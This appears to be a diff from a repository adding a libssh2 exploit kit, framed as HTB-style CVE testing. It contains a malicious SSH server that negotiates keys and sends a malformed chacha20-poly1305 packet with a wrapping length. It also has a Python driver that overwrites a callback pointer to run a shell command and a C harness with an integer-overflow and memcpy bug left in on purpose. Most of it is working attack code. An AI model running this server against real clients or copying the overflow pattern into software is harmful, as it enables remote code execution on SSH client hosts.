init_payload = read_plain_packet(conn)
|
||||
seq_in += 1
|
||||
if not init_payload or init_payload[0] != 30:
|
||||
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_INIT, got {init_payload[:1]!r}")
|
||||
client_pub, offset = read_ssh_string(init_payload, 1)
|
||||
if offset != len(init_payload) or len(client_pub) != 32:
|
||||
raise RuntimeError("invalid curve25519 client public key")
|
||||
|
||||
server_private = x25519.X25519PrivateKey.generate()
|
||||
server_pub = server_private.public_key().public_bytes(
|
||||
serialization.Encoding.Raw,
|
||||
serialization.PublicFormat.Raw,
|
||||
)
|
||||
shared = server_private.exchange(x25519.X25519PublicKey.from_public_bytes(client_pub))
|
||||
if shared == b"\x00" * 32:
|
||||
raise RuntimeError("invalid all-zero curve25519 shared secret")
|
||||
shared_int = int.from_bytes(shared, "big")
|
||||
|
||||
hostkey_blob = rsa_public_blob(self.host_key, chosen_hostkey)
|
||||
h = exchange_hash(client_ident, SERVER_IDENT, client_kexinit, server_kexinit,
|
||||
hostkey_blob, client_pub, server_pub, shared_int)
|
||||
session_id = h
|
||||
signature = sign_exchange_hash(self.host_key, chosen_hostkey, h)
|
||||
|
||||
reply = b"\x1f" + ssh_string(hostkey_blob) + ssh_string(server_pub) + ssh_string(signature)
|
||||
send_plain_packet(conn, reply)
|
||||
seq_out += 1
|
||||
|
||||
send_plain_packet(conn, b"\x15")
|
||||
seq_out += 1
|
||||
print("[+] sent SSH_MSG_NEWKEYS")
|
||||
|
||||
try:
|
||||
newkeys = read_plain_packet(conn)
|
||||
seq_in += 1
|
||||
if newkeys != b"\x15":
|
||||
print(f"[!] expected client NEWKEYS, got {newkeys[:1]!r}; continuing")
|
||||
else:
|
||||
print("[+] received client SSH_MSG_NEWKEYS")
|
||||
except Exception as exc:
|
||||
print(f"[!] did not read client NEWKEYS before trigger: {exc}")
|
||||
|
||||
key_s2c = derive_key(shared_int, h, session_id, b"D", 64)
|
||||
trigger_seq = seq_out
|
||||
wire = build_malformed_wire(
|
||||
key_s2c,
|
||||
trigger_seq,
|
||||
self.args.packet_length,
|
||||
self.args.body_len,
|
||||
self.args.filler_len,
|
||||
)
|
||||
conn.sendall(wire)
|
||||
print(f"[+] sent malformed chacha/poly1305 trigger at server seq={trigger_seq}")
|
||||
print(f"[+] trigger bytes={len(wire)} packet_length=0x{self.args.packet_length:08x}")
|
||||
time.sleep(self.args.hold_open)
|
||||
|
||||
|
||||
def self_test(args):
|
||||
key = bytes(range(64))
|
||||
seqno = 3
|
||||
wire = build_malformed_wire(key, seqno, args.packet_length, args.body_len, args.filler_len)
|
||||
encrypted_part = wire[:-args.filler_len] if args.filler_len else wire
|
||||
decrypted = chachapoly_decrypt(key, seqno, encrypted_part)
|
||||
decoded_len = struct.unpack(">I", decrypted[:4])[0]
|
||||
arith = model_vulnerable_c_expression(args.packet_length, DEFAULT_MAC_LEN, DEFAULT_AUTH_LEN)
|
||||
|
||||
print("[self-test] chacha20-poly1305@openssh.com packet generator")
|
||||
print(f"packet_length=0x{decoded_len:08x} ({decoded_len})")
|
||||
print(f"encrypted_fragment_len={len(encrypted_part)}")
|
||||
print(f"filler_len={args.filler_len}")
|
||||
print(f"body_len={args.body_len}")
|
||||
print(f"vulnerable_c_expression_accepted={arith.accepted}")
|
||||
print(f"vulnerable_c_expression_allocation={arith.allocation}")
|
||||
print(f"fixed_rejects={arith.fixed_rejects}")
|
||||
print(f"fullpacket_style_length={arith.fullpacket_copy_len}")
|
||||
print(f"allocation_gap={arith.gap}")
|
||||
|
||||
if decoded_len != args.packet_length:
|
||||
raise SystemExit("[self-test] FAIL: decrypted packet_length mismatch")
|
||||
if not arith.accepted or arith.allocation != 19:
|
||||
raise SystemExit("[self-test] FAIL: arithmetic did not reach wrapped allocation=19")
|
||||
if not arith.fixed_rejects:
|
||||
raise SystemExit("[self-test] FAIL: fixed model did not reject oversized length")
|
||||
print("[self-test] PASS")
|
||||
|
||||
|
||||
def loopback_client(client_sock, args):
|
||||
client_sock.settimeout(args.timeout)
|
||||
server_ident = read_ident(client_sock)
|
||||
if server_ident != SERVER_IDENT:
|
||||
raise RuntimeError(f"unexpected server ident {server_ident!r}")
|
||||
client_sock.sendall(CLIENT_IDENT + b"\r\n")
|
||||
|
||||
client_kexinit = build_kexinit_payload()
|
||||
send_plain_packet(client_sock, client_kexinit)
|
||||
|
||||
server_kexinit = read_plain_packet(client_sock)
|
||||
server_lists = parse_kexinit_payload(server_kexinit)
|
||||
first_match(server_lists["kex"], KEX_ALGORITHMS, "server kex")
|
||||
first_match(server_lists["hostkey"], HOSTKEY_ALGORITHMS, "server hostkey")
|
||||
first_match(server_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server cipher")
|
||||
|
||||
client_private = x25519.X25519PrivateKey.generate()
|
||||
client_pub = client_private.public_key().public_bytes(
|
||||
serialization.Encoding.Raw,
|
||||
serialization.PublicFormat.Raw,
|
||||
)
|
||||
send_plain_packet(client_sock, b"\x1e" + ssh_string(client_pub))
|
||||
|
||||
reply = read_plain_packet(client_sock)
|
||||
if not reply or reply[0] != 31:
|
||||
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_REPLY, got {reply[:1]!r}")
|
||||
hostkey_blob, offset = read_ssh_string(reply, 1)
|
||||
server_pub, offset = read_ssh_string(reply, offset)
|
||||
_signature, offset = read_ssh_string(reply, offset)
|
||||
if offset != len(reply):
|
||||
raise RuntimeError("trailing data in KEX_ECDH_REPLY")
|
||||
|
||||
shared = client_private.exchange(x25519.X25519PublicKey.from_public_bytes(server_pub))
|
||||
shared_int = int.from_bytes(shared, "big")
|
||||
h = exchange_hash(CLIENT_IDENT, SERVER_IDENT, client_kexinit, server_kexinit,
|
||||
hostkey_blob, client_pub, server_pub, shared_int)
|
||||
key_s2c = derive_key(shared_int, h, h, b"D", 64)
|
||||
|
||||
newkeys = read_plain_packet(client_sock)
|
||||
if newkeys != b"\x15":
|
||||
raise RuntimeError(f"expected server NEWKEYS, got {newkeys[:1]!r}")
|
||||
send_plain_packet(client_sock, b"\x15")
|
||||
|
||||
encrypted_len = 4 + args.body_len + 16
|
||||
encrypted = read_exact(client_sock, encrypted_len)
|
||||
if args.filler_len:
|
||||
read_exact(client_sock, args.filler_len)
|
||||
decrypted = chachapoly_decrypt(key_s2c, 3, encrypted)
|
||||
decoded_len = struct.unpack(">I", decrypted[:4])[0]
|
||||
if decoded_len != args.packet_length:
|
||||
raise RuntimeError("loopback decrypted packet_length mismatch")
|
||||
return decoded_len, encrypted_len
|
||||
|
||||
|
||||
def loopback_test(args):
|
||||
left, right = socket.socketpair()
|
||||
result_queue = queue.Queue()
|
||||
|
||||
def server_thread():
|
||||
try:
|
||||
with left:
|
||||
left.settimeout(args.timeout)
|
||||
MiniSSHExploitServer(args).handle_client(left)
|
||||
result_queue.put(None)
|
||||
except Exception as exc:
|
||||
result_queue.put(exc)
|
||||
|
||||
thread = threading.Thread(target=server_thread, daemon=True)
|
||||
thread.start()
|
||||
try:
|
||||
with right:
|
||||
decoded_len, encrypted_len = loopback_client(right, args)
|
||||
finally:
|
||||
thread.join(args.timeout + args.hold_open + 1)
|
||||
|
||||
if thread.is_alive():
|
||||
raise SystemExit("[loopback-test] FAIL: server thread did not exit")
|
||||
server_error = result_queue.get_nowait()
|
||||
if server_error is not None:
|
||||
raise server_error
|
||||
|
||||
print("[loopback-test] minimal SSH handshake/key-derivation path")
|
||||
print(f"decrypted_trigger_packet_length=0x{decoded_len:08x} ({decoded_len})")
|
||||
print(f"encrypted_trigger_fragment_len={encrypted_len}")
|
||||
print("[loopback-test] PASS")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Minimal malicious SSH server/trigger for HTB-style libssh2 CVE-2026-55200 testing."
|
||||
)
|
||||
parser.add_argument("--self-test", action="store_true", help="verify local packet crypto and CVE arithmetic")
|
||||
parser.add_argument("--loopback-test", action="store_true", help="verify the local SSH handshake and encrypted trigger path")
|
||||
parser.add_argument("--serve", action="store_true", help="listen for one libssh2 client and send the trigger")
|
||||
parser.add_argument("--listen-host", default=HOST, help="listen IP/interface, e.g. 0.0.0.0")
|
||||
parser.add_argument("--listen-port", type=int, default=PORT, help="listen port, e.g. 2222")
|
||||
parser.add_argument("--packet-length", type=lambda x: int(x, 0), default=DEFAULT_PACKET_LENGTH)
|
||||
parser.add_argument("--body-len", type=int, default=8, help="truncated encrypted body length after the 4-byte length field")
|
||||
parser.add_argument("--filler-len", type=int, default=64, help="extra bytes after the valid encrypted fragment/tag")
|
||||
parser.add_argument("--timeout", type=float, default=10.0)
|
||||
parser.add_argument("--hold-open", type=float, default=1.0)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.self_test:
|
||||
self_test(args)
|
||||
return
|
||||
if args.loopback_test:
|
||||
loopback_test(args)
|
||||
return
|
||||
if args.serve:
|
||||
if not args.listen_host or not args.listen_port:
|
||||
raise SystemExit("set --listen-host and --listen-port; the HOST/PORT section is intentionally open")
|
||||
MiniSSHExploitServer(args).serve_once()
|
||||
return
|
||||
parser.print_help()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
sys.exit(1)
|
||||
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
PACKET_LENGTH = 0xFFFFFFFF
|
||||
|
||||
|
||||
def repo_root():
|
||||
return Path(__file__).resolve().parent.parent
|
||||
|
||||
|
||||
def default_harness_path():
|
||||
suffix = ".exe" if os.name == "nt" else ""
|
||||
return Path(__file__).resolve().parent / f"libpwn_local_rce_harness{suffix}"
|
||||
|
||||
|
||||
def default_proof_path():
|
||||
return Path(__file__).resolve().parent / "libpwn_rce_proof.txt"
|
||||
|
||||
|
||||
def default_command(proof_path):
|
||||
marker = "libpwn-rce-verified"
|
||||
if os.name == "nt":
|
||||
return f"cmd /c echo {marker}>{proof_path}"
|
||||
return f"/bin/sh -c 'echo {marker} > {proof_path}'"
|
||||
|
||||
|
||||
def parse_leak(line):
|
||||
pattern = (
|
||||
r"exec_callback=(0x[0-9a-fA-F]+|[0-9a-fA-F]+)\s+"
|
||||
r"callback_offset=(\d+)\s+"
|
||||
r"command_offset=(\d+)\s+"
|
||||
r"ptr_size=(\d+)"
|
||||
)
|
||||
match = re.search(pattern, line)
|
||||
if not match:
|
||||
raise ValueError(f"could not parse leak line: {line!r}")
|
||||
return {
|
||||
"exec_callback": int(match.group(1), 16),
|
||||
"callback_offset": int(match.group(2)),
|
||||
"command_offset": int(match.group(3)),
|
||||
"ptr_size": int(match.group(4)),
|
||||
}
|
||||
|
||||
|
||||
def pack_ptr(value, ptr_size):
|
||||
if ptr_size == 8:
|
||||
return struct.pack("<Q", value)
|
||||
if ptr_size == 4:
|
||||
return struct.pack("<I", value)
|
||||
raise ValueError(f"unsupported pointer size {ptr_size}")
|
||||
|
||||
|
||||
def build_payload(leak, command):
|
||||
command_bytes = command.encode() + b"\x00"
|
||||
end = leak["command_offset"] + len(command_bytes)
|
||||
payload = bytearray(b"A" * end)
|
||||
payload[leak["callback_offset"]:leak["callback_offset"] + leak["ptr_size"]] = (
|
||||
pack_ptr(leak["exec_callback"], leak["ptr_size"])
|
||||
)
|
||||
payload[leak["command_offset"]:leak["command_offset"] + len(command_bytes)] = command_bytes
|
||||
return bytes(payload)
|
||||
|
||||
|
||||
def build_wire(payload):
|
||||
return struct.pack(">II", PACKET_LENGTH, len(payload)) + payload
|
||||
|
||||
|
||||
def run_exploit(args):
|
||||
harness = Path(args.harness).resolve()
|
||||
proof = Path(args.proof).resolve()
|
||||
if proof.exists():
|
||||
proof.unlink()
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[str(harness)],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
cwd=str(repo_root()),
|
||||
text=False,
|
||||
)
|
||||
|
||||
try:
|
||||
leak_line = proc.stdout.readline().decode(errors="replace").strip()
|
||||
leak = parse_leak(leak_line)
|
||||
command = args.command or default_command(proof)
|
||||
payload = build_payload(leak, command)
|
||||
wire = build_wire(payload)
|
||||
proc.stdin.write(wire)
|
||||
proc.stdin.close()
|
||||
output = proc.stdout.read().decode(errors="replace")
|
||||
rc = proc.wait(timeout=args.timeout)
|
||||
finally:
|
||||
if proc.poll() is None:
|
||||
proc.kill()
|
||||
|
||||
print(leak_line)
|
||||
print(output, end="")
|
||||
print(f"process_rc={rc}")
|
||||
print(f"payload_len={len(payload)}")
|
||||
print(f"proof_path={proof}")
|
||||
|
||||
if rc != 0:
|
||||
raise SystemExit("FAIL: harness exited non-zero")
|
||||
if not proof.exists():
|
||||
raise SystemExit("FAIL: proof file was not created")
|
||||
proof_text = proof.read_text(errors="replace").strip()
|
||||
if "libpwn-rce-verified" not in proof_text:
|
||||
raise SystemExit(f"FAIL: unexpected proof file content: {proof_text!r}")
|
||||
print("RCE_PROOF=PASS")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Local RCE proof driver for the libpwn CVE harness.")
|
||||
parser.add_argument("--harness", default=str(default_harness_path()))
|
||||
parser.add_argument("--proof", default=str(default_proof_path()))
|
||||
parser.add_argument("--command", default="")
|
||||
parser.add_argument("--timeout", type=float, default=10.0)
|
||||
args = parser.parse_args()
|
||||
run_exploit(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,118 @@
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define LIBSSH2_PACKET_MAXPAYLOAD 35000u
|
||||
|
||||
struct target_object {
|
||||
unsigned char payload[19];
|
||||
void (*callback)(const char *);
|
||||
char command[320];
|
||||
};
|
||||
|
||||
static void safe_callback(const char *command)
|
||||
{
|
||||
printf("safe_callback command=%s\n", command);
|
||||
}
|
||||
|
||||
static void exec_callback(const char *command)
|
||||
{
|
||||
int rc;
|
||||
|
||||
printf("exec_callback command=%s\n", command);
|
||||
fflush(stdout);
|
||||
rc = system(command);
|
||||
printf("system_rc=%d\n", rc);
|
||||
}
|
||||
|
||||
static int read_exact(unsigned char *buf, size_t len)
|
||||
{
|
||||
size_t got = fread(buf, 1, len, stdin);
|
||||
return got == len ? 0 : -1;
|
||||
}
|
||||
|
||||
static uint32_t load_be32(const unsigned char *buf)
|
||||
{
|
||||
return ((uint32_t)buf[0] << 24) |
|
||||
((uint32_t)buf[1] << 16) |
|
||||
((uint32_t)buf[2] << 8) |
|
||||
(uint32_t)buf[3];
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
unsigned char hdr[8];
|
||||
unsigned char *body = NULL;
|
||||
struct target_object *obj = NULL;
|
||||
uint32_t packet_length;
|
||||
uint32_t body_len;
|
||||
unsigned int auth_len = 16;
|
||||
int mac_len = 0;
|
||||
size_t total_num = 4;
|
||||
size_t copy_len;
|
||||
|
||||
obj = (struct target_object *)calloc(1, sizeof(*obj));
|
||||
if(!obj) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
obj->callback = safe_callback;
|
||||
strcpy(obj->command, "not executed");
|
||||
|
||||
printf("LEAK exec_callback=%p callback_offset=%zu command_offset=%zu ptr_size=%zu\n",
|
||||
(void *)exec_callback,
|
||||
offsetof(struct target_object, callback),
|
||||
offsetof(struct target_object, command),
|
||||
sizeof(void *));
|
||||
fflush(stdout);
|
||||
|
||||
if(read_exact(hdr, sizeof(hdr))) {
|
||||
free(obj);
|
||||
return 2;
|
||||
}
|
||||
|
||||
packet_length = load_be32(hdr);
|
||||
body_len = load_be32(hdr + 4);
|
||||
|
||||
if(packet_length < 1u) {
|
||||
free(obj);
|
||||
return 3;
|
||||
}
|
||||
|
||||
total_num += packet_length + (mac_len ? mac_len : 0) + auth_len;
|
||||
|
||||
if(total_num > LIBSSH2_PACKET_MAXPAYLOAD || total_num == 0u) {
|
||||
free(obj);
|
||||
return 4;
|
||||
}
|
||||
|
||||
body = (unsigned char *)malloc(body_len ? body_len : 1);
|
||||
if(!body) {
|
||||
free(obj);
|
||||
return 5;
|
||||
}
|
||||
|
||||
if(read_exact(body, body_len)) {
|
||||
free(body);
|
||||
free(obj);
|
||||
return 6;
|
||||
}
|
||||
|
||||
copy_len = packet_length - 1u;
|
||||
if(copy_len > body_len) {
|
||||
copy_len = body_len;
|
||||
}
|
||||
|
||||
printf("accepted packet_length=0x%08x allocation=%zu copy_len=%zu body_len=%u\n",
|
||||
packet_length, total_num, copy_len, body_len);
|
||||
fflush(stdout);
|
||||
|
||||
memcpy(obj->payload, body, copy_len);
|
||||
obj->callback(obj->command);
|
||||
|
||||
free(body);
|
||||
free(obj);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user